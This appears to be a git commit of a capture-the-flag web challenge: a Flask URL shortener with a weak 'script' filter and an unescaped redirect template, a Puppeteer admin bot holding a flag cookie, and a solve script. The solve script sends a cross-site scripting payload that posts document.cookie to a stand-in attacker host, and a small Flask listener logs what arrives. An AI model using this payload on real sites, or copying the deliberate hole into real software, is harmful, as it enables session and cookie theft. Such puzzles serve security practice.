This commit is contained in:
2025-05-31 22:41:14 +02:00
parent e36053882b
commit 5cc21125e5
181 changed files with 174078 additions and 0 deletions

View File

@@ -0,0 +1 @@
3.12

View File

View File

@@ -0,0 +1,6 @@
FROM ghcr.io/puppeteer/puppeteer:latest
WORKDIR /home/pptruser/
COPY bot.js .
CMD ["node", "bot.js"]

View File

@@ -0,0 +1,64 @@
const puppeteer = require('puppeteer')
const net = require('net')
const BASE_URL = process.env.BASE_URL || 'http://web-oops-app:5000/'
const FLAG = process.env.FLAG || 'flag{test_flag}'
const browserPool = []
const getBrowser = async () => {
if (browserPool.length > 0) {
return browserPool.pop()
}
return await puppeteer.launch({
headless: true,
args: ['--js-flags=--jitless', '--no-sandbox', '--disable-setuid-sandbox']
})
}
const returnBrowser = (browser) => {
browserPool.push(browser)
}
const visitSubmission = async (id) => {
if (!id.match(/^[0-9a-zA-Z]{6}$/)) {
return
}
const browser = await getBrowser()
const page = await browser.newPage()
const hostname = new URL(BASE_URL).hostname
await page.setCookie({
name: 'admin_flag',
value: FLAG,
domain: hostname,
path: '/',
httpOnly: false,
secure: false
})
try {
await page.goto(BASE_URL + id, { waitUntil: 'networkidle2', timeout: 5000 })
}
catch (e) {
console.log(e)
}
await page.close()
returnBrowser(browser)
}
setInterval(() => {
while (browserPool.length > 0) {
const browser = browserPool.pop()
browser.close()
}
}, 5 * 60 * 1000)
const server = net.createServer((socket) => {
socket.on('data', async (data) => {
const id = data.toString()
await visitSubmission(id)
})
})
server.listen(3001, () => {
console.log('Listening on port 3001')
})

View File

@@ -0,0 +1,11 @@
FROM python:3.13-slim
# Copy files
COPY . .
# Install requirements
RUN pip3 install -r requirements.txt
# Expose port
EXPOSE 5000
CMD ["gunicorn", "-w", "8", "--bind", "0.0.0.0:5000", "--log-level", "debug", "app:app"]

View File

@@ -0,0 +1,103 @@
from flask import Flask, render_template, request, redirect, url_for, jsonify
import sqlite3
import string
import random
import os
import socket
ADMIN_HOST = "web-oops-admin"
ADMIN_PORT = 3001
app = Flask(__name__)
# Database setup
def init_db():
conn = sqlite3.connect('urls.db')
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS urls
(id INTEGER PRIMARY KEY AUTOINCREMENT,
original_url TEXT NOT NULL,
short_code TEXT UNIQUE NOT NULL,
clicks INTEGER DEFAULT 0,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP)''')
conn.commit()
conn.close()
def generate_short_code(length=6):
characters = string.ascii_letters + string.digits
return ''.join(random.choice(characters) for _ in range(length))
def get_db_connection():
conn = sqlite3.connect('urls.db')
conn.row_factory = sqlite3.Row
return conn
@app.route('/', methods=['GET', 'POST'])
def index():
message = None
shortened_url = None
if request.method == 'POST':
original_url = request.form['original_url']
url = original_url.lower()
while "script" in url:
url = url.replace("script", "")
# Generate unique short code
while True:
short_code = generate_short_code()
conn = get_db_connection()
existing = conn.execute('SELECT id FROM urls WHERE short_code = ?',
(short_code,)).fetchone()
if not existing:
break
conn.close()
# Save to database
conn = get_db_connection()
conn.execute('INSERT INTO urls (original_url, short_code) VALUES (?, ?)',
(original_url, short_code))
conn.commit()
conn.close()
shortened_url = request.host_url + short_code
message = "URL shortened successfully!"
return render_template("index.html",
message=message,
shortened_url=shortened_url)
@app.post('/report')
def report():
submit_id = request.form["submit_id"]
submit_id = submit_id.split("/")[-1]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ADMIN_HOST, ADMIN_PORT))
s.sendall(submit_id.encode())
s.close()
return render_template("index.html",
report_message="Reported successfully.")
@app.route('/<short_code>')
def redirect_url(short_code):
conn = get_db_connection()
url_data = conn.execute('SELECT original_url FROM urls WHERE short_code = ?',
(short_code,)).fetchone()
if url_data:
# Increment click counter
conn.execute('UPDATE urls SET clicks = clicks + 1 WHERE short_code = ?',
(short_code,))
conn.commit()
conn.close()
return render_template("redir.html", url=url_data["original_url"]), 200
else:
conn.close()
return render_template("not_found.html"), 404
init_db()

View File

@@ -0,0 +1,2 @@
flask
gunicorn

View File

@@ -0,0 +1,165 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>URL Shortener</title>
<link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
<style>
body {
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
}
.card {
border: none;
border-radius: 15px;
box-shadow: 0 10px 30px rgba(0,0,0,0.2);
}
.btn-primary {
background: linear-gradient(45deg, #667eea, #764ba2);
border: none;
border-radius: 25px;
}
.btn-primary:hover {
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(0,0,0,0.3);
}
.form-control {
border-radius: 25px;
border: 2px solid #e9ecef;
}
.form-control:focus {
border-color: #667eea;
box-shadow: 0 0 0 0.2rem rgba(102, 126, 234, 0.25);
}
.url-item {
background: rgba(255,255,255,0.1);
border-radius: 10px;
transition: all 0.3s ease;
}
.url-item:hover {
background: rgba(255,255,255,0.2);
transform: translateY(-2px);
}
.copy-btn {
border-radius: 20px;
}
.stats-badge {
background: rgba(255,255,255,0.2);
color: white;
border-radius: 20px;
}
</style>
</head>
<body>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-body p-5">
<h1 class="text-center mb-4">
<i class="fas fa-link text-primary"></i>
URL Shortener
</h1>
{% if message %}
<div class="alert alert-success alert-dismissible fade show" role="alert">
<i class="fas fa-check-circle"></i> {{ message }}
<button type="button" class="btn-close" data-bs-dismiss="alert"></button>
</div>
{% endif %}
<form method="POST" action="{{ url_for('index') }}">
<div class="input-group mb-3">
<span class="input-group-text">
<i class="fas fa-globe"></i>
</span>
<input type="url" class="form-control" name="original_url"
placeholder="Enter your long URL here..." required>
<button class="btn btn-primary px-4" type="submit">
<i class="fas fa-compress-alt"></i> Shorten
</button>
</div>
</form>
{% if shortened_url %}
<div class="alert alert-info">
<h5><i class="fas fa-magic"></i> Your shortened URL:</h5>
<div class="input-group">
<input type="text" class="form-control" value="{{ shortened_url }}"
id="shortenedUrl" readonly>
<button class="btn btn-outline-primary copy-btn" type="button"
onclick="copyToClipboard()">
<i class="fas fa-copy"></i> Copy
</button>
</div>
</div>
{% endif %}
</div>
</div>
</div>
</div>
</div>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-body p-5">
<h1 class="text-center mb-4">
<i class="fas fa-flag text-primary"></i>
Report URL
</h1>
{% if report_message %}
<div class="alert alert-success alert-dismissible fade show" role="alert">
<i class="fas fa-check-circle"></i> {{ report_message }}
<button type="button" class="btn-close" data-bs-dismiss="alert"></button>
</div>
{% endif %}
<form method="POST" action="{{ url_for('report') }}">
<div class="input-group mb-3">
<span class="input-group-text">
<i class="fas fa-globe"></i>
</span>
<input type="url" class="form-control" name="submit_id"
placeholder="Enter the sus URL here..." required>
<button class="btn btn-primary px-4" type="submit">
<i class="fas fa-hammer"></i> Report
</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script>
<script>
function copyToClipboard(text) {
const textToCopy = text || document.getElementById('shortenedUrl').value;
navigator.clipboard.writeText(textToCopy).then(function() {
// Show success feedback
const btn = event.target.closest('button');
const originalHTML = btn.innerHTML;
btn.innerHTML = '<i class="fas fa-check"></i> Copied!';
btn.classList.remove('btn-outline-primary');
btn.classList.add('btn-success');
setTimeout(() => {
btn.innerHTML = originalHTML;
btn.classList.remove('btn-success');
btn.classList.add('btn-outline-primary');
}, 2000);
});
}
</script>
</body>
</html>

View File

@@ -0,0 +1,25 @@
<!DOCTYPE html>
<html>
<head>
<title>URL Not Found</title>
<link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css" rel="stylesheet">
</head>
<body class="bg-light">
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-6">
<div class="card">
<div class="card-body text-center">
<h1 class="text-danger">404</h1>
<h3>URL Not Found</h3>
<p>The shortened URL you're looking for doesn't exist.</p>
<a href="{{ url_for('index') }}" class="btn btn-primary">
Go Back Home
</a>
</div>
</div>
</div>
</div>
</div>
</body>
</html>

View File

@@ -0,0 +1,3 @@
<script>
location.href = "{{url}}"
</script>

View File

@@ -0,0 +1,16 @@
services:
challenge:
container_name: web-oops-app
build:
context: app
dockerfile: Dockerfile
ports:
- "33001:5000"
admin:
container_name: web-oops-admin
build:
context: admin
dockerfile: Dockerfile
restart: always
environment:
- FLAG=grey{fake_flag}

View File

@@ -0,0 +1,25 @@
import requests
ATTACKER_HOST = "http://your.attacker.com/log"
TARGET = "http://target-ctf.com"
# Step 1: Create a shortened URL with a malicious payload
payload_url = f"data:text/html,<svg onload=fetch('{ATTACKER_HOST}?c='+document.cookie)>"
res = requests.post(f"{TARGET}/", data={"original_url": payload_url})
assert res.ok
print("[+] Shortened URL submitted")
# Step 2: Extract short code from the response
from bs4 import BeautifulSoup
soup = BeautifulSoup(res.text, "html.parser")
short_link = soup.find("input", {"id": "shortened"})["value"]
short_code = short_link.split("/")[-1]
# Step 3: Submit to /report endpoint
report_res = requests.post(f"{TARGET}/report", data={"submit_id": short_link})
if report_res.ok:
print(f"[+] Reported to bot: {short_link}")
else:
print("[-] Report failed")

View File

@@ -0,0 +1,10 @@
from flask import Flask, request
app = Flask(__name__)
@app.route("/log")
def log():
print(request.args.get("c"))
return "", 204
app.run(host="0.0.0.0", port=8025)

View File

@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<session>
<sessionId>1748722598281</sessionId>
<sessionName>Untitled Session</sessionName>
<sessionDesc/>
</session>

Binary file not shown.

Binary file not shown.

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,5 @@
#HSQL Database Engine 2.7.4
#Sat May 31 22:18:13 CEST 2025
modified=yes
tx_timestamp=933
version=2.7.4

View File

@@ -0,0 +1,108 @@
SET DATABASE UNIQUE NAME HSQLDB379AF3DEBD
SET DATABASE DEFAULT RESULT MEMORY ROWS 0
SET DATABASE EVENT LOG LEVEL 0
SET DATABASE TRANSACTION CONTROL LOCKS
SET DATABASE DEFAULT ISOLATION LEVEL READ COMMITTED
SET DATABASE TRANSACTION ROLLBACK ON CONFLICT TRUE
SET DATABASE TEXT TABLE DEFAULTS ''
SET DATABASE SQL NAMES FALSE
SET DATABASE SQL RESTRICT EXEC FALSE
SET DATABASE SQL REFERENCES FALSE
SET DATABASE SQL SIZE TRUE
SET DATABASE SQL TYPES FALSE
SET DATABASE SQL TDC DELETE TRUE
SET DATABASE SQL TDC UPDATE TRUE
SET DATABASE SQL SYS INDEX NAMES FALSE
SET DATABASE SQL CONCAT NULLS TRUE
SET DATABASE SQL UNIQUE NULLS TRUE
SET DATABASE SQL CONVERT TRUNCATE TRUE
SET DATABASE SQL AVG SCALE 0
SET DATABASE SQL DOUBLE NAN TRUE
SET FILES WRITE DELAY 20 MILLIS
SET FILES BACKUP INCREMENT TRUE
SET FILES CACHE SIZE 32000
SET FILES CACHE ROWS 50000
SET FILES SCALE 64
SET FILES LOB SCALE 32
SET FILES DEFRAG 0
SET FILES NIO TRUE
SET FILES NIO SIZE 256
SET FILES LOG TRUE
SET FILES LOG SIZE 50
SET FILES CHECK 933
SET DATABASE COLLATION "SQL_TEXT" PAD SPACE
CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e'
ALTER USER SA SET LOCAL TRUE
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE PUBLIC.HISTORY(HISTORYID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL PRIMARY KEY,SESSIONID BIGINT NOT NULL,HISTTYPE INTEGER DEFAULT 1,STATUSCODE INTEGER DEFAULT 0,TIMESENTMILLIS BIGINT DEFAULT 0,TIMEELAPSEDMILLIS INTEGER DEFAULT 0,METHOD VARCHAR(1024) DEFAULT '',URI VARCHAR(1048576) DEFAULT '',REQHEADER VARCHAR(4194304) DEFAULT '',REQBODY VARBINARY(16777216) DEFAULT X'',RESHEADER VARCHAR(4194304) DEFAULT '',RESBODY VARBINARY(16777216) DEFAULT X'',TAG VARCHAR(32768) DEFAULT '',NOTE VARCHAR(1048576) DEFAULT '',RESPONSEFROMTARGETHOST BOOLEAN DEFAULT FALSE)
ALTER TABLE PUBLIC.HISTORY ALTER COLUMN HISTORYID RESTART WITH 1
CREATE INDEX HISTORY_INDEX ON PUBLIC.HISTORY(URI,METHOD,REQBODY,SESSIONID,HISTTYPE,HISTORYID,STATUSCODE)
CREATE INDEX INDEX_HISTORY_HISTTYPE ON PUBLIC.HISTORY(HISTTYPE)
CREATE INDEX INDEX_HISTORY_SESSIONID ON PUBLIC.HISTORY(SESSIONID)
CREATE CACHED TABLE PUBLIC.SESSION(SESSIONID BIGINT NOT NULL PRIMARY KEY,SESSIONNAME VARCHAR(32768) DEFAULT '',LASTACCESS TIMESTAMP DEFAULT LOCALTIMESTAMP NOT NULL)
CREATE CACHED TABLE PUBLIC.ALERT(ALERTID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,SCANID INTEGER NOT NULL,PLUGINID INTEGER DEFAULT 0,ALERT VARCHAR(16777216) DEFAULT '',RISK INTEGER DEFAULT 0,RELIABILITY INTEGER DEFAULT 1,DESCRIPTION VARCHAR(16777216) DEFAULT '',URI VARCHAR(1048576) DEFAULT '',PARAM VARCHAR(32768) DEFAULT '',OTHERINFO VARCHAR(16777216) DEFAULT '',SOLUTION VARCHAR(16777216) DEFAULT '',REFERENCE VARCHAR(16777216) DEFAULT '',HISTORYID INTEGER,SOURCEHISTORYID INTEGER DEFAULT 0,ATTACK VARCHAR(32768) DEFAULT '',EVIDENCE VARCHAR(16777216) DEFAULT '',CWEID INTEGER DEFAULT -1,WASCID INTEGER DEFAULT -1,SOURCEID INTEGER DEFAULT 0,INPUT_VECTOR VARCHAR(256) DEFAULT '',ALERTREF VARCHAR(256) DEFAULT '')
ALTER TABLE PUBLIC.ALERT ALTER COLUMN ALERTID RESTART WITH 0
CREATE INDEX ALERT_INDEX ON PUBLIC.ALERT(SOURCEHISTORYID)
CREATE INDEX INDEX_ALERT_SOURCEID ON PUBLIC.ALERT(SOURCEID)
CREATE CACHED TABLE PUBLIC.SCAN(SCANID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,SESSIONID BIGINT NOT NULL,SCANNAME VARCHAR(32768) DEFAULT '',SCANTIME TIMESTAMP DEFAULT LOCALTIMESTAMP NOT NULL)
ALTER TABLE PUBLIC.SCAN ALTER COLUMN SCANID RESTART WITH 0
CREATE CACHED TABLE PUBLIC.CONTEXT_DATA(DATAID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL,CONTEXTID INTEGER NOT NULL,TYPE INTEGER NOT NULL,DATA VARCHAR(1048576) DEFAULT '')
ALTER TABLE PUBLIC.CONTEXT_DATA ALTER COLUMN DATAID RESTART WITH 53
CREATE INDEX INDEX_CONTEXT_DATA_CONTEXTID ON PUBLIC.CONTEXT_DATA(CONTEXTID)
CREATE INDEX INDEX_CONTEXT_DATA_TYPE ON PUBLIC.CONTEXT_DATA(TYPE)
CREATE CACHED TABLE PUBLIC.PARAM(PARAMID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL,SITE VARCHAR(32768) NOT NULL,TYPE VARCHAR(32768) NOT NULL,NAME VARCHAR(32768) NOT NULL,USED INTEGER NOT NULL,FLAGS VARCHAR(32768) NOT NULL,VALS VARCHAR(8388608) NOT NULL)
ALTER TABLE PUBLIC.PARAM ALTER COLUMN PARAMID RESTART WITH 1
CREATE CACHED TABLE PUBLIC.SESSION_URL(URLID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL,TYPE INTEGER NOT NULL,URL VARCHAR(8192) DEFAULT '')
ALTER TABLE PUBLIC.SESSION_URL ALTER COLUMN URLID RESTART WITH 1
CREATE INDEX INDEX_SESSION_URL_TYPE_AND_URL ON PUBLIC.SESSION_URL(TYPE,URL)
CREATE CACHED TABLE PUBLIC.TAG(TAGID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL,HISTORYID BIGINT NOT NULL,TAG VARCHAR(1024) DEFAULT '')
ALTER TABLE PUBLIC.TAG ALTER COLUMN TAGID RESTART WITH 1
CREATE INDEX INDEX_TAG_HISTORYID_TAG ON PUBLIC.TAG(HISTORYID,TAG)
CREATE CACHED TABLE PUBLIC.ALERT_TAG(TAG_ID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL PRIMARY KEY,ALERT_ID BIGINT NOT NULL,KEY VARCHAR(1024) DEFAULT '' NOT NULL,VALUE VARCHAR(4000) DEFAULT '' NOT NULL)
ALTER TABLE PUBLIC.ALERT_TAG ALTER COLUMN TAG_ID RESTART WITH 1
CREATE INDEX ALERT_ID_INDEX ON PUBLIC.ALERT_TAG(ALERT_ID)
CREATE CACHED TABLE PUBLIC.STRUCTURE(STRUCTUREID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL,SESSIONID BIGINT NOT NULL,PARENTID BIGINT NOT NULL,HISTORYID INTEGER,NAME VARCHAR(8192) NOT NULL,NAMEHASH BIGINT NOT NULL,URL VARCHAR(8192) NOT NULL,METHOD VARCHAR(10) NOT NULL)
ALTER TABLE PUBLIC.STRUCTURE ALTER COLUMN STRUCTUREID RESTART WITH 1
CREATE CACHED TABLE PUBLIC.WEBSOCKET_CHANNEL(CHANNEL_ID BIGINT PRIMARY KEY,HOST VARCHAR(255) NOT NULL,PORT INTEGER NOT NULL,URL VARCHAR(1048576) NOT NULL,START_TIMESTAMP TIMESTAMP NOT NULL,END_TIMESTAMP TIMESTAMP,HISTORY_ID INTEGER,FOREIGN KEY(HISTORY_ID) REFERENCES PUBLIC.HISTORY(HISTORYID) ON DELETE SET NULL ON UPDATE SET NULL)
CREATE CACHED TABLE PUBLIC.WEBSOCKET_MESSAGE(MESSAGE_ID BIGINT NOT NULL,CHANNEL_ID BIGINT NOT NULL,TIMESTAMP TIMESTAMP NOT NULL,OPCODE TINYINT NOT NULL,PAYLOAD_UTF8 CLOB(16M),PAYLOAD_BYTES BLOB(16M),PAYLOAD_LENGTH BIGINT NOT NULL,IS_OUTGOING BOOLEAN NOT NULL,PRIMARY KEY(MESSAGE_ID,CHANNEL_ID),FOREIGN KEY(CHANNEL_ID) REFERENCES PUBLIC.WEBSOCKET_CHANNEL(CHANNEL_ID),CONSTRAINT WEBSOCKET_MESSAGE_PAYLOAD CHECK((PUBLIC.WEBSOCKET_MESSAGE.PAYLOAD_UTF8 IS NOT NULL) OR (PUBLIC.WEBSOCKET_MESSAGE.PAYLOAD_BYTES IS NOT NULL)))
CREATE CACHED TABLE PUBLIC.WEBSOCKET_MESSAGE_FUZZ(FUZZ_ID BIGINT NOT NULL,MESSAGE_ID BIGINT NOT NULL,CHANNEL_ID BIGINT NOT NULL,STATE VARCHAR(50) NOT NULL,FUZZ VARCHAR(16777216) NOT NULL,PRIMARY KEY(FUZZ_ID,MESSAGE_ID,CHANNEL_ID),FOREIGN KEY(MESSAGE_ID,CHANNEL_ID) REFERENCES PUBLIC.WEBSOCKET_MESSAGE(MESSAGE_ID,CHANNEL_ID) ON DELETE CASCADE)
CREATE CACHED TABLE PUBLIC.SOAP_WSDL(WSDL_ID INTEGER NOT NULL,SOAP_ACTION VARCHAR(4000) NOT NULL,PRIMARY KEY(WSDL_ID,SOAP_ACTION))
CREATE CACHED TABLE PUBLIC.OPENAPI_SPECS(ID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,DEFINITION CLOB(64M) NOT NULL,TARGET VARCHAR(2048),SESSION_ID BIGINT NOT NULL,CONTEXT_ID INTEGER NOT NULL)
ALTER TABLE PUBLIC.OPENAPI_SPECS ALTER COLUMN ID RESTART WITH 0
CREATE MEMORY TABLE PUBLIC."AUTHHELPER_FLYWAY_SCHEMA_HISTORY"("installed_rank" INTEGER NOT NULL,"version" VARCHAR(50),"description" VARCHAR(200) NOT NULL,"type" VARCHAR(20) NOT NULL,"script" VARCHAR(1000) NOT NULL,"checksum" INTEGER,"installed_by" VARCHAR(100) NOT NULL,"installed_on" TIMESTAMP DEFAULT CURRENT_TIMESTAMP NOT NULL,"execution_time" INTEGER NOT NULL,"success" BIT(1) NOT NULL,CONSTRAINT "AUTHHELPER_FLYWAY_SCHEMA_HISTORY_pk" PRIMARY KEY("installed_rank"))
CREATE INDEX "AUTHHELPER_FLYWAY_SCHEMA_HISTORY_s_idx" ON PUBLIC."AUTHHELPER_FLYWAY_SCHEMA_HISTORY"("success")
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"AUTHENTICATIONMETHOD" VARCHAR(4096) NOT NULL,"CONTEXT" VARCHAR(4096) NOT NULL,"USER" VARCHAR(4096) NOT NULL)
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC" ALTER COLUMN "ID" RESTART WITH 0
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"DIAGNOSTICID" BIGINT NOT NULL,"NUMBER" BIGINT NOT NULL,"URL" VARCHAR(4096) NOT NULL,"DESCRIPTION" VARCHAR(4096) NOT NULL,"WEBELEMENTID" BIGINT)
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP" ALTER COLUMN "ID" RESTART WITH 0
CREATE INDEX "AUTHHELPER_DIAGNOSTIC_STEP_DIAGNOSTICID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP"("DIAGNOSTICID")
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_MESSAGE"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"STEPID" BIGINT NOT NULL,"NUMBER" BIGINT NOT NULL,"MESSAGEID" BIGINT NOT NULL)
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_MESSAGE" ALTER COLUMN "ID" RESTART WITH 0
CREATE INDEX "AUTHHELPER_DIAGNOSTIC_MESSAGE_STEPID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_MESSAGE"("STEPID")
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_SCREENSHOT"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"STEPID" BIGINT NOT NULL,"DATA" VARCHAR(8388608) NOT NULL)
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_SCREENSHOT" ALTER COLUMN "ID" RESTART WITH 0
CREATE INDEX "AUTHHELPER_DIAGNOSTIC_SCREENSHOT_STEPID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_SCREENSHOT"("STEPID")
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_WEB_ELEMENT"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"FORMINDEX" BIGINT,"ATTRIBUTETYPE" VARCHAR(1024),"ATTRIBUTEID" VARCHAR(1024),"ATTRIBUTENAME" VARCHAR(1024),"ATTRIBUTEVALUE" VARCHAR(1024),"TEXT" VARCHAR(4096),"DISPLAYED" BOOLEAN NOT NULL,"ENABLED" BOOLEAN NOT NULL)
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_WEB_ELEMENT" ALTER COLUMN "ID" RESTART WITH 0
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP_WEB_ELEMENTS"("STEPID" BIGINT NOT NULL,"WEBELEMENTID" BIGINT NOT NULL,"NUMBER" BIGINT NOT NULL)
CREATE INDEX "AUTHHELPER_DIAGNOSTIC_STEP_WEB_ELEMENTS_STEPID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP_WEB_ELEMENTS"("STEPID")
CREATE INDEX "AUTHHELPER_DIAGNOSTIC_STEP_WEB_ELEMENTS_WEBELEMENTID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP_WEB_ELEMENTS"("WEBELEMENTID")
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_BROWSER_STORAGE_ITEM"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"STEPID" BIGINT NOT NULL,"TYPE" INTEGER NOT NULL,"NUMBER" BIGINT NOT NULL,"KEY" VARCHAR(4096) NOT NULL,"VALUE" VARCHAR(65536))
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_BROWSER_STORAGE_ITEM" ALTER COLUMN "ID" RESTART WITH 0
CREATE INDEX "AUTHHELPER_DIAGNOSTIC_BROWSER_STORAGE_ITEM_STEPID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_BROWSER_STORAGE_ITEM"("STEPID")
ALTER SEQUENCE SYSTEM_LOBS.LOB_ID RESTART WITH 1
SET DATABASE DEFAULT INITIAL SCHEMA PUBLIC
SET TABLE PUBLIC.SESSION INDEX '106 0 1'
SET TABLE PUBLIC.CONTEXT_DATA INDEX '63 63 63 0 0 0 52'
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.CARDINAL_NUMBER TO PUBLIC
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.YES_OR_NO TO PUBLIC
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.CHARACTER_DATA TO PUBLIC
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.SQL_IDENTIFIER TO PUBLIC
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.TIME_STAMP TO PUBLIC
GRANT DBA TO SA
SET SCHEMA SYSTEM_LOBS
INSERT INTO BLOCKS VALUES(0,2147483647,0)
SET SCHEMA PUBLIC
INSERT INTO "AUTHHELPER_FLYWAY_SCHEMA_HISTORY" VALUES(1,'0','<< Flyway Baseline >>','BASELINE','<< Flyway Baseline >>',NULL,'SA','2025-05-31 22:16:38.434599',0,'1')
INSERT INTO "AUTHHELPER_FLYWAY_SCHEMA_HISTORY" VALUES(2,'1','Create tables','SQL','V1__Create_tables.sql',1328189853,'SA','2025-05-31 22:16:38.459680',3,'1')
INSERT INTO "AUTHHELPER_FLYWAY_SCHEMA_HISTORY" VALUES(3,'2','Create storage tables','SQL','V2__Create_storage_tables.sql',716709220,'SA','2025-05-31 22:16:38.470036',1,'1')

View File

@@ -0,0 +1,10 @@
[project]
name = "dist-oops"
version = "0.1.0"
description = "Add your description here"
readme = "README.md"
requires-python = ">=3.12"
dependencies = [
"beautifulsoup4>=4.13.4",
"flask>=3.1.1",
]

167
catthegray25/ezpz/dist-oops/uv.lock generated Normal file
View File

@@ -0,0 +1,167 @@
version = 1
revision = 2
requires-python = ">=3.12"
[[package]]
name = "beautifulsoup4"
version = "4.13.4"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "soupsieve" },
{ name = "typing-extensions" },
]
sdist = { url = "https://files.pythonhosted.org/packages/d8/e4/0c4c39e18fd76d6a628d4dd8da40543d136ce2d1752bd6eeeab0791f4d6b/beautifulsoup4-4.13.4.tar.gz", hash = "sha256:dbb3c4e1ceae6aefebdaf2423247260cd062430a410e38c66f2baa50a8437195", size = 621067, upload-time = "2025-04-15T17:05:13.836Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/50/cd/30110dc0ffcf3b131156077b90e9f60ed75711223f306da4db08eff8403b/beautifulsoup4-4.13.4-py3-none-any.whl", hash = "sha256:9bbbb14bfde9d79f38b8cd5f8c7c85f4b8f2523190ebed90e950a8dea4cb1c4b", size = 187285, upload-time = "2025-04-15T17:05:12.221Z" },
]
[[package]]
name = "blinker"
version = "1.9.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/21/28/9b3f50ce0e048515135495f198351908d99540d69bfdc8c1d15b73dc55ce/blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf", size = 22460, upload-time = "2024-11-08T17:25:47.436Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc", size = 8458, upload-time = "2024-11-08T17:25:46.184Z" },
]
[[package]]
name = "click"
version = "8.2.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "colorama", marker = "sys_platform == 'win32'" },
]
